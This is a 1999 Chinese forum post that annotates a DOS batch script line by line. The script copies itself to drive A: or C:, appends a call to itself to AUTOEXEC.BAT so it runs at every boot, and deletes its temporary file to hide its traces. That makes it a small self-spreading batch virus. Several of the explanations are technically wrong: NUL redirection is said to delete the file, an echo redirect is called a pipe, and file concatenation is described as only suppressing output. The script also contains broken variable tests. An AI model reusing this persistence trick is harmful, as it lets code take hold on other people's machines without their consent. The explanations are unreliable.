发信人: seasnk()
整理人: znw(1999-11-10 12:48:45), 站内信件
|
【 在 ldwolf (我是好人) 的大作中提到: 】
: @ECHO OFF
: IF DRIVE=="A:\" GOTO END123
: IF DRIVE=="C:\" GOTO END123
: IF %COMSPEC%=="C:\COMMAND.COM" SET DRIVE=A:\(%COMSPEC%的含义是什么??
: .......
@ECHO OFF
IF DRIVE=="A:\" GOTO END123
IF DRIVE=="C:\" GOTO END123
IF %COMSPEC%=="C:\COMMAND.COM" SET DRIVE=A:\
(%COMSPEC%的含义是指示系统到那里找COMMAND。COM
)
IF %COMSPEC%=="A:\COMMAND.COM" SET DRIVE=C:\
IF NOT EXIST %DRIVE%AUTOEXEC.BAT GOTO END123
(这句有什么用处?就是说,如果驱动器A和C盘根目录都没有AUTOEXEC。BAT
文件时,跳转到标号END123处执行)
COPY A.BAT %DRIVE%>NUL(此处NUL是什么东西??设备名吗??NUL是空设备, 实际上是把A。BAT给删掉)
ECHO CALL A。BAT>TMP.DAT(此处为何要建一个TMP。DAT文件??这是管道命令 ,把显示信息送进TMP。DAT中)
COPY %DRIVE%AUTOEXEC.BAT+TMP.DAT>NUL(此处是不是要用">>"来重定向??不 是,这是不让执行信息显示出来)
DEL TMP.DAT>NUL(为何此处要删除TMP。DAT??删除后如何重定向??删除是为 了不留踪迹,也不是重定向,是不让执行信息显示出来)
: END123
ECHO ON
-- ※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.104.12.1]
|
|